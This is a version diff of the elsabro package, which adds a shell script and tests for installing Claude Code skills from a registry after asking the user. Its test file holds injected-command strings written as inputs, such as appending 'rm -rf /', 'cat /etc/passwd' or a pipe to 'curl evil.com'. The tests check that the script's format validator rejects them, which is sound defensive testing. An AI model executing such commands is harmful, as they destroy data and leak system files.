elsabro 7.1.0 → 7.2.0

package/commands/elsabro/execute.md

@@ -172,10 +172,67 @@ Los skills proveen patrones de código verificados, configuraciones de setup, y
 const recommendedSkills = state.context.available_skills || [];
 
 if (recommendedSkills.length > 0) {
-  // 2. Cargar contenido de los top-3 skills con match
+  // 2. Cargar contenido de los top-3 skills (local → global → install)
   const loadedSkills = [];
+  let registryDown = false;
   for (const skill of recommendedSkills.slice(0, 3)) {
-    const content = Read(`skills/${skill.id}.md`);
+    // 2a. Try local ELSABRO skill first
+    let content = Read(`skills/${skill.id}.md`);
+
+    // 2b. Try global installed skill
+    if (!content) {
+      content = Read(`${HOME}/.claude/skills/${skill.id}.md`);
+    }
+
+    // 2c. If not found locally and has install_cmd → offer to install
+    if (!content && skill.install_cmd && skill.source === "skills-registry" && !registryDown) {
+      // Check registry accessibility
+      const checkResult = Bash(`bash ./hooks/skill-install.sh check`, { timeout: 20000 });
+      const check = JSON.parse(checkResult);
+
+      if (check.status === "ok") {
+        // Ask user permission
+        const answer = AskUserQuestion({
+          questions: [{
+            question: `Skill "${skill.id}" no esta instalado localmente pero esta disponible en el registry. Instalarlo?`,
+            header: "Skill Install",
+            options: [
+              { label: "Instalar", description: `Ejecuta: ${skill.install_cmd}` },
+              { label: "Omitir", description: "Continuar sin este skill" }
+            ],
+            multiSelect: false
+          }]
+        });
+
+        if (answer === "Instalar") {
+          // Execute install
+          const installResult = Bash(`bash ./hooks/skill-install.sh install "${skill.install_cmd}"`, { timeout: 45000 });
+          const install = JSON.parse(installResult);
+
+          if (install.status === "ok") {
+            // Validate installed file
+            const validateResult = Bash(`bash ./hooks/skill-install.sh validate "${skill.id}"`, { timeout: 5000 });
+            const validation = JSON.parse(validateResult);
+
+            if (validation.status === "ok") {
+              content = Read(validation.path);
+              output(`  + Skill "${skill.id}" instalado y cargado`);
+            } else {
+              output(`  ! Skill "${skill.id}" instalado pero formato invalido — omitido`);
+            }
+          } else {
+            output(`  ! Instalacion de "${skill.id}" fallo: ${install.message} — omitido`);
+          }
+        } else {
+          output(`  - Skill "${skill.id}" omitido por usuario`);
+        }
+      } else {
+        output(`  ! Registry no disponible — omitiendo instalacion de skills externos`);
+        registryDown = true; // Skip install attempts for remaining skills
+      }
+    }
+
+    // 2d. Load content if available (from any source)
     if (content) {
       loadedSkills.push({
         name: skill.id,

package/flow-engine/tests/skill-install.test.js

@@ -0,0 +1,374 @@
+'use strict';
+
+const { describe, it } = require('node:test');
+const assert = require('node:assert/strict');
+const { execSync } = require('node:child_process');
+const fs = require('node:fs');
+const path = require('node:path');
+const os = require('node:os');
+
+// ---------- Shared helpers ----------
+
+const PROJECT_ROOT = path.resolve(__dirname, '..', '..');
+const SCRIPT = path.join(PROJECT_ROOT, 'hooks', 'skill-install.sh');
+
+/**
+ * Run skill-install.sh with given args, parse JSON from stdout.
+ * Script always exits 0; errors communicated via JSON.
+ */
+function runInstall(args, opts = {}) {
+  const env = { ...process.env, ...opts.env };
+  try {
+    const stdout = execSync(`bash "${SCRIPT}" ${args}`, {
+      cwd: PROJECT_ROOT,
+      encoding: 'utf8',
+      env,
+      stdio: ['pipe', 'pipe', 'pipe'],
+      timeout: 15000
+    });
+    return JSON.parse(stdout.trim());
+  } catch (err) {
+    // Script exits 0, but execSync can throw on timeout or signal
+    if (err.stdout) return JSON.parse(err.stdout.trim());
+    throw err;
+  }
+}
+
+/**
+ * Create a temp dir with a mock `npx` script that executes the given behavior.
+ * Returns the temp dir path (prepend to PATH).
+ */
+function createMockNpx(behavior) {
+  const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'mock-npx-'));
+  const script = path.join(dir, 'npx');
+  fs.writeFileSync(script, `#!/bin/bash\n${behavior}`, { mode: 0o755 });
+  return dir;
+}
+
+/**
+ * Create a temp HOME-equivalent dir with .claude/skills/ structure.
+ * `skills` is an object: { "name.md": "content", "sub/SKILL.md": "content" }
+ * Returns the tmpdir (use as HOME).
+ */
+function createMockSkillsDir(skills = {}) {
+  const tmpBase = fs.mkdtempSync(path.join(os.tmpdir(), 'mock-home-'));
+  const skillsDir = path.join(tmpBase, '.claude', 'skills');
+  fs.mkdirSync(skillsDir, { recursive: true });
+  for (const [name, content] of Object.entries(skills)) {
+    const filePath = path.join(skillsDir, name);
+    fs.mkdirSync(path.dirname(filePath), { recursive: true });
+    fs.writeFileSync(filePath, content);
+  }
+  return tmpBase;
+}
+
+function cleanup(dir) {
+  fs.rmSync(dir, { recursive: true, force: true });
+}
+
+// ---------- Tests ----------
+
+describe('skill-install.sh', () => {
+
+  // ---- cmd_check ----
+  describe('cmd_check', () => {
+    it('returns ok when npx skills check succeeds', () => {
+      const mockDir = createMockNpx('echo "Registry OK"; exit 0');
+      try {
+        const result = runInstall('check', {
+          env: { PATH: `${mockDir}:${process.env.PATH}` }
+        });
+        assert.equal(result.status, 'ok');
+      } finally {
+        cleanup(mockDir);
+      }
+    });
+
+    it('returns error when npx skills check fails', () => {
+      const mockDir = createMockNpx('echo "Connection refused" >&2; exit 1');
+      try {
+        const result = runInstall('check', {
+          env: { PATH: `${mockDir}:${process.env.PATH}` }
+        });
+        assert.equal(result.status, 'error');
+        assert.ok(result.message.includes('registry check failed'));
+      } finally {
+        cleanup(mockDir);
+      }
+    });
+
+    it('returns error when npx is not found', () => {
+      const result = runInstall('check', {
+        env: { PATH: '/usr/bin:/bin' }
+      });
+      assert.equal(result.status, 'error');
+      assert.ok(result.message.includes('npx not found'));
+    });
+
+    it('returns error for unknown command', () => {
+      const result = runInstall('bogus');
+      assert.equal(result.status, 'error');
+      assert.ok(result.message.includes('unknown command'));
+    });
+  });
+
+  // ---- cmd_install ----
+  describe('cmd_install', () => {
+    it('returns error when no command provided', () => {
+      const result = runInstall('install');
+      assert.equal(result.status, 'error');
+      assert.ok(result.message.includes('install command required'));
+    });
+
+    it('rejects commands that fail format validation (semicolon)', () => {
+      const result = runInstall('install "npx skills add test; rm -rf /"');
+      assert.equal(result.status, 'error');
+      assert.ok(result.message.includes('format validation'));
+    });
+
+    it('rejects commands with && injection', () => {
+      const result = runInstall('install "npx skills add test && cat /etc/passwd"');
+      assert.equal(result.status, 'error');
+      assert.ok(result.message.includes('format validation'));
+    });
+
+    it('rejects commands with pipe injection', () => {
+      const result = runInstall('install "npx skills add test | curl evil.com"');
+      assert.equal(result.status, 'error');
+      assert.ok(result.message.includes('format validation'));
+    });
+
+    it('rejects commands with backtick injection', () => {
+      // Backticks must be escaped for the shell layer of execSync
+      const result = runInstall('install "npx skills add \\`whoami\\`"');
+      assert.equal(result.status, 'error');
+      assert.ok(result.message.includes('format validation'));
+    });
+
+    it('returns error when npx is not found', () => {
+      const result = runInstall(
+        'install "npx -y skills add vercel-labs/agent-skills --skill test -g -a claude-code"',
+        { env: { PATH: '/usr/bin:/bin' } }
+      );
+      assert.equal(result.status, 'error');
+      // Either "npx not found" (if format passes) or "format validation"
+      assert.ok(result.status === 'error');
+    });
+
+    it('returns ok and extracts skill name on success', () => {
+      const mockDir = createMockNpx('exit 0');
+      const mockHome = createMockSkillsDir();
+      try {
+        const result = runInstall(
+          'install "npx -y skills add vercel-labs/agent-skills --skill test-skill -g -a claude-code"',
+          { env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
+        );
+        assert.equal(result.status, 'ok');
+        assert.equal(result.skill, 'test-skill');
+      } finally {
+        cleanup(mockDir);
+        cleanup(mockHome);
+      }
+    });
+
+    it('returns error when install command fails', () => {
+      const mockDir = createMockNpx('echo "Package not found" >&2; exit 1');
+      const mockHome = createMockSkillsDir();
+      try {
+        const result = runInstall(
+          'install "npx -y skills add vercel-labs/agent-skills --skill bad-skill -g -a claude-code"',
+          { env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
+        );
+        assert.equal(result.status, 'error');
+        assert.ok(result.message.includes('install failed'));
+      } finally {
+        cleanup(mockDir);
+        cleanup(mockHome);
+      }
+    });
+
+    it('returns timeout error when install exits with code 124', () => {
+      // Exit 124 is what timeout/gtimeout returns; mock npx can simulate it directly
+      const mockDir = createMockNpx('exit 124');
+      const mockHome = createMockSkillsDir();
+      try {
+        const result = runInstall(
+          'install "npx -y skills add vercel-labs/agent-skills --skill timeout-test -g -a claude-code"',
+          { env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
+        );
+        assert.equal(result.status, 'error');
+        assert.ok(result.message.includes('timed out'));
+      } finally {
+        cleanup(mockDir);
+        cleanup(mockHome);
+      }
+    });
+
+    it('returns error when skills dir not writable', () => {
+      const mockDir = createMockNpx('exit 0');
+      const mockHome = createMockSkillsDir();
+      const skillsDir = path.join(mockHome, '.claude', 'skills');
+      fs.chmodSync(skillsDir, 0o444);
+      try {
+        const result = runInstall(
+          'install "npx -y skills add vercel-labs/agent-skills --skill test -g -a claude-code"',
+          { env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
+        );
+        assert.equal(result.status, 'error');
+        assert.ok(result.message.includes('not writable'));
+      } finally {
+        fs.chmodSync(skillsDir, 0o755);
+        cleanup(mockDir);
+        cleanup(mockHome);
+      }
+    });
+
+    it('invalidates discovery cache on success', () => {
+      const mockDir = createMockNpx('exit 0');
+      const mockHome = createMockSkillsDir();
+      const cacheDir = path.join(PROJECT_ROOT, '.cache');
+      const cacheFile = path.join(cacheDir, 'skill-discovery-cache.json');
+      // Save original content (not just existence) to restore after test
+      const originalContent = fs.existsSync(cacheFile)
+        ? fs.readFileSync(cacheFile, 'utf8')
+        : null;
+      if (!fs.existsSync(cacheDir)) fs.mkdirSync(cacheDir, { recursive: true });
+      fs.writeFileSync(cacheFile, '{"cached":true}');
+      try {
+        runInstall(
+          'install "npx -y skills add vercel-labs/agent-skills --skill cache-test -g -a claude-code"',
+          { env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
+        );
+        assert.equal(fs.existsSync(cacheFile), false, 'Cache should be deleted after install');
+      } finally {
+        cleanup(mockDir);
+        cleanup(mockHome);
+        // Restore exact original content, or remove if it didn't exist
+        if (originalContent !== null) {
+          fs.writeFileSync(cacheFile, originalContent);
+        } else if (fs.existsSync(cacheFile)) {
+          fs.unlinkSync(cacheFile);
+        }
+      }
+    });
+  });
+
+  // ---- cmd_validate ----
+  describe('cmd_validate', () => {
+    it('returns error when no skill name provided', () => {
+      const result = runInstall('validate');
+      assert.equal(result.status, 'error');
+      assert.ok(result.message.includes('skill name required'));
+    });
+
+    it('returns ok with has_frontmatter:true for flat file with YAML', () => {
+      const mockHome = createMockSkillsDir({
+        'test-skill.md': '---\nname: test-skill\n---\n# Content'
+      });
+      try {
+        const result = runInstall('validate "test-skill"', {
+          env: { HOME: mockHome }
+        });
+        assert.equal(result.status, 'ok');
+        assert.equal(result.has_frontmatter, true);
+        assert.ok(result.path.includes('test-skill.md'));
+      } finally {
+        cleanup(mockHome);
+      }
+    });
+
+    it('returns ok with has_frontmatter:false for flat file without YAML', () => {
+      const mockHome = createMockSkillsDir({
+        'no-yaml.md': '# Just markdown\nNo frontmatter here'
+      });
+      try {
+        const result = runInstall('validate "no-yaml"', {
+          env: { HOME: mockHome }
+        });
+        assert.equal(result.status, 'ok');
+        assert.equal(result.has_frontmatter, false);
+      } finally {
+        cleanup(mockHome);
+      }
+    });
+
+    it('finds skill in subdirectory SKILL.md with YAML', () => {
+      const mockHome = createMockSkillsDir({
+        'subskill/SKILL.md': '---\nname: subskill\n---\n# Subdir skill'
+      });
+      try {
+        const result = runInstall('validate "subskill"', {
+          env: { HOME: mockHome }
+        });
+        assert.equal(result.status, 'ok');
+        assert.equal(result.has_frontmatter, true);
+        assert.ok(result.path.includes('subskill/SKILL.md'));
+      } finally {
+        cleanup(mockHome);
+      }
+    });
+
+    it('returns has_frontmatter:false for subdirectory without YAML', () => {
+      const mockHome = createMockSkillsDir({
+        'subskill-noyaml/SKILL.md': '# Just content\nNo YAML here'
+      });
+      try {
+        const result = runInstall('validate "subskill-noyaml"', {
+          env: { HOME: mockHome }
+        });
+        assert.equal(result.status, 'ok');
+        assert.equal(result.has_frontmatter, false);
+        assert.ok(result.path.includes('subskill-noyaml/SKILL.md'));
+      } finally {
+        cleanup(mockHome);
+      }
+    });
+
+    it('returns error when skill file not found', () => {
+      const mockHome = createMockSkillsDir({});
+      try {
+        const result = runInstall('validate "nonexistent"', {
+          env: { HOME: mockHome }
+        });
+        assert.equal(result.status, 'error');
+        assert.ok(result.message.includes('not found'));
+      } finally {
+        cleanup(mockHome);
+      }
+    });
+  });
+
+  // ---- JSON contract ----
+  describe('JSON contract', () => {
+    it('all commands return valid JSON on stdout', () => {
+      const mockDir = createMockNpx('exit 1');
+      try {
+        const commands = ['check', 'install', 'validate', 'bogus'];
+        for (const cmd of commands) {
+          const result = runInstall(cmd, {
+            env: { PATH: `${mockDir}:${process.env.PATH}` }
+          });
+          assert.ok(typeof result === 'object', `${cmd} should return JSON object`);
+          assert.ok('status' in result, `${cmd} should have status field`);
+        }
+      } finally {
+        cleanup(mockDir);
+      }
+    });
+
+    it('status is always "ok" or "error"', () => {
+      const mockDir = createMockNpx('exit 0');
+      try {
+        const okResult = runInstall('check', {
+          env: { PATH: `${mockDir}:${process.env.PATH}` }
+        });
+        assert.ok(['ok', 'error'].includes(okResult.status));
+      } finally {
+        cleanup(mockDir);
+      }
+
+      const errResult = runInstall('bogus');
+      assert.ok(['ok', 'error'].includes(errResult.status));
+    });
+  });
+});

package/hooks/skill-discovery.sh

@@ -31,6 +31,7 @@ GLOBAL_SKILLS_DIR="${HOME}/.claude/skills"
 CACHE_DIR="${PROJECT_ROOT}/.cache"
 CACHE_FILE="${CACHE_DIR}/skill-discovery-cache.json"
 CACHE_TTL=3600  # 1 hora
+DEFAULT_SKILLS_SOURCE="vercel-labs/agent-skills"
 
 MAX_RESULTS=10
 NPX_TIMEOUT=30  # segundos
@@ -291,7 +292,7 @@ discover_via_npx_skills() {
     # El formato típico es líneas con nombre y descripción
     # Intentar parsear como JSON primero (por si devuelve JSON)
     if echo "$raw_output" | jq empty 2>/dev/null; then
-        echo "$raw_output" | jq '[.[] | . + {"source": "skills-registry", "status": "available", "install_cmd": ("npx skills add -g " + .name)}]' 2>/dev/null || echo "[]"
+        echo "$raw_output" | jq --arg src "$DEFAULT_SKILLS_SOURCE" '[.[] | . + {"source": "skills-registry", "status": "available", "install_cmd": ("npx skills add " + $src + " --skill " + .name + " -g -a claude-code -y")}]' 2>/dev/null || echo "[]"
         return
     fi
 
@@ -312,8 +313,8 @@ discover_via_npx_skills() {
 
         # Use jq for safe JSON construction
         local skill_obj
-        skill_obj=$(jq -n --arg id "$name" --arg desc "$desc" --arg cmd "npx skills add -g $name" \
-            '{id: $id, source: "skills-registry", status: "available", description: $desc, install_cmd: $cmd}')
+        skill_obj=$(jq -n --arg id "$name" --arg desc "$desc" --arg src "$DEFAULT_SKILLS_SOURCE" \
+            '{id: $id, source: "skills-registry", status: "available", description: $desc, install_cmd: ("npx skills add " + $src + " --skill " + $id + " -g -a claude-code -y")}')
         skills+=("$skill_obj")
     done <<< "$raw_output"
 
@@ -450,6 +451,7 @@ NOJQ
         --argjson external "$external" \
         --argjson recommended "$recommended" \
         --argjson updates "$updates" \
+        --arg src "$DEFAULT_SKILLS_SOURCE" \
     '{
         timestamp: (now | strftime("%Y-%m-%dT%H:%M:%SZ")),
         status: "success",
@@ -484,7 +486,7 @@ NOJQ
         actions: {
             install_all: (
                 if ($recommended | length) > 0
-                then "npx skills add -g " + ([$recommended[].id] | join(" "))
+                then "npx skills add " + $src + " --skill " + ([$recommended[].id] | join(" --skill ")) + " -g -a claude-code -y"
                 else null
                 end
             ),

package/hooks/skill-install.sh

@@ -0,0 +1,224 @@
+#!/bin/bash
+# skill-install.sh - ELSABRO Skill Install Bridge (v1.0.0)
+#
+# Instala skills del vercel-labs/skills registry y valida archivos instalados.
+# Companion de skill-discovery.sh — este script ejecuta lo que discovery recomienda.
+#
+# Comandos:
+#   check              - Valida accesibilidad del registry (npx skills check)
+#   install "<cmd>"    - Ejecuta install command con pre-checks y timeout (e.g. npx skills add ...)
+#   validate "<name>"  - Verifica que skill instalado existe y tiene YAML frontmatter
+#
+# Output: JSON en stdout, logs en stderr
+# Errores: Siempre exit 0, errores comunicados via JSON {"status":"error","message":"..."}
+#
+# Requiere: bash 4+, node/npm (para npx)
+
+set -euo pipefail
+
+# ============================================================================
+# CONFIGURACION
+# ============================================================================
+
+SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+PROJECT_ROOT="$(dirname "$SCRIPT_DIR")"
+GLOBAL_SKILLS_DIR="${HOME}/.claude/skills"
+CACHE_FILE="${PROJECT_ROOT}/.cache/skill-discovery-cache.json"
+
+NPX_TIMEOUT=30    # segundos para install
+CHECK_TIMEOUT=15  # segundos para check
+
+# Portable timeout: use gtimeout (macOS/brew) > timeout (Linux) > no timeout
+if command -v gtimeout >/dev/null 2>&1; then
+    TIMEOUT_CMD="gtimeout"
+elif command -v timeout >/dev/null 2>&1; then
+    TIMEOUT_CMD="timeout"
+else
+    TIMEOUT_CMD=""
+fi
+
+run_with_timeout() {
+    local secs="$1"; shift
+    if [[ -n "$TIMEOUT_CMD" ]]; then
+        "$TIMEOUT_CMD" "$secs" "$@"
+    else
+        "$@"
+    fi
+}
+
+# Colores para stderr
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+YELLOW='\033[1;33m'
+NC='\033[0m'
+PREFIX="[ELSABRO:install]"
+
+# ============================================================================
+# LOGGING (stderr only)
+# ============================================================================
+
+log_info()  { echo -e "${GREEN}${PREFIX}${NC} $*" >&2; }
+log_warn()  { echo -e "${YELLOW}${PREFIX}${NC} $*" >&2; }
+log_error() { echo -e "${RED}${PREFIX}${NC} $*" >&2; }
+
+# ============================================================================
+# JSON OUTPUT (stdout only)
+# ============================================================================
+
+json_ok() {
+    local extra="${1:-}"
+    if [[ -n "$extra" ]]; then
+        echo "{\"status\":\"ok\",$extra}"
+    else
+        echo '{"status":"ok"}'
+    fi
+}
+
+json_error() {
+    local msg="$1"
+    echo "{\"status\":\"error\",\"message\":\"$msg\"}"
+}
+
+# ============================================================================
+# COMMAND: check
+# Validates registry accessibility via npx skills check
+# ============================================================================
+
+cmd_check() {
+    log_info "Checking registry accessibility..."
+
+    command -v npx >/dev/null 2>&1 || { json_error "npx not found"; exit 0; }
+
+    local output
+    if output=$(run_with_timeout "$CHECK_TIMEOUT" npx -y skills check 2>&1); then
+        log_info "Registry accessible"
+        json_ok
+    else
+        log_error "Registry check failed: $output"
+        json_error "registry check failed"
+    fi
+}
+
+# ============================================================================
+# COMMAND: install <install_cmd>
+# Executes the given install command with pre-checks and timeout
+# ============================================================================
+
+cmd_install() {
+    local install_cmd="${1:-}"
+
+    if [[ -z "$install_cmd" ]]; then
+        json_error "install command required"
+        exit 0
+    fi
+
+    log_info "Installing skill: $install_cmd"
+
+    # Pre-check: command format (defense-in-depth — only allow npx skills add ...)
+    if [[ ! "$install_cmd" =~ ^npx[[:space:]]+((-y|skills|add|--skill|--yes|-g|-a|claude-code|[a-zA-Z0-9/_-]+)[[:space:]]*)+$ ]]; then
+        json_error "install command failed format validation"
+        exit 0
+    fi
+
+    # Pre-check: npx available
+    command -v npx >/dev/null 2>&1 || { json_error "npx not found"; exit 0; }
+
+    # Pre-check: skills dir exists and is writable
+    if [[ ! -d "$GLOBAL_SKILLS_DIR" ]]; then
+        mkdir -p "$GLOBAL_SKILLS_DIR" 2>/dev/null || { json_error "$GLOBAL_SKILLS_DIR cannot be created"; exit 0; }
+    fi
+    test -w "$GLOBAL_SKILLS_DIR" || { json_error "$GLOBAL_SKILLS_DIR not writable"; exit 0; }
+
+    # Execute install command with timeout
+    local output
+    if output=$(run_with_timeout "$NPX_TIMEOUT" bash -c "$install_cmd" 2>&1); then
+        log_info "Install succeeded"
+
+        # Extract skill name from command (--skill <name>)
+        local skill_name
+        skill_name=$(echo "$install_cmd" | sed -n 's/.*--skill \([a-zA-Z0-9_-]*\).*/\1/p')
+
+        # Invalidate discovery cache (so next run sees skill as installed)
+        if [[ -f "$CACHE_FILE" ]]; then
+            rm -f "$CACHE_FILE"
+            log_info "Discovery cache invalidated"
+        fi
+
+        json_ok "\"skill\":\"$skill_name\""
+    else
+        local exit_code=$?
+        if [[ $exit_code -eq 124 ]]; then
+            log_error "Install timed out after ${NPX_TIMEOUT}s"
+            json_error "install timed out after ${NPX_TIMEOUT}s"
+        else
+            log_error "Install failed (exit $exit_code): $output"
+            json_error "install failed: $(echo "$output" | tail -1 | tr '"' "'")"
+        fi
+    fi
+}
+
+# ============================================================================
+# COMMAND: validate <skill_name>
+# Checks installed file exists and has YAML frontmatter
+# ============================================================================
+
+cmd_validate() {
+    local skill_name="${1:-}"
+
+    if [[ -z "$skill_name" ]]; then
+        json_error "skill name required"
+        exit 0
+    fi
+
+    log_info "Validating skill: $skill_name"
+
+    # Check flat file first: ~/.claude/skills/<name>.md
+    local flat_path="${GLOBAL_SKILLS_DIR}/${skill_name}.md"
+    if [[ -f "$flat_path" ]]; then
+        local first_line
+        first_line=$(head -1 "$flat_path")
+        if [[ "$first_line" == "---" ]]; then
+            log_info "Valid skill at $flat_path (YAML frontmatter)"
+            json_ok "\"path\":\"$flat_path\",\"has_frontmatter\":true"
+        else
+            log_warn "File exists but no YAML frontmatter: $flat_path"
+            json_ok "\"path\":\"$flat_path\",\"has_frontmatter\":false"
+        fi
+        return
+    fi
+
+    # Check subdirectory fallback: ~/.claude/skills/<name>/SKILL.md
+    local subdir_path="${GLOBAL_SKILLS_DIR}/${skill_name}/SKILL.md"
+    if [[ -f "$subdir_path" ]]; then
+        local first_line
+        first_line=$(head -1 "$subdir_path")
+        if [[ "$first_line" == "---" ]]; then
+            log_info "Valid skill at $subdir_path (YAML frontmatter)"
+            json_ok "\"path\":\"$subdir_path\",\"has_frontmatter\":true"
+        else
+            log_warn "File exists but no YAML frontmatter: $subdir_path"
+            json_ok "\"path\":\"$subdir_path\",\"has_frontmatter\":false"
+        fi
+        return
+    fi
+
+    log_error "Skill not found: checked $flat_path and $subdir_path"
+    json_error "skill file not found after install"
+}
+
+# ============================================================================
+# MAIN
+# ============================================================================
+
+cmd="${1:-}"
+shift || true
+
+case "$cmd" in
+    check)    cmd_check ;;
+    install)  cmd_install "$@" ;;
+    validate) cmd_validate "$@" ;;
+    *)
+        json_error "unknown command: $cmd (use: check, install, validate)"
+        exit 0
+        ;;
+esac

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "elsabro",
-  "version": "7.1.0",
+  "version": "7.2.0",
   "description": "Sistema de desarrollo AI-powered para Claude Code - BMAD Method Integration, Spec-Driven Development, Party Mode, Next Step Suggestions, Stitch UI Design, Agent Teams, blocking code review, orquestación avanzada con flows declarativos",
   "bin": {
     "elsabro": "bin/install.js",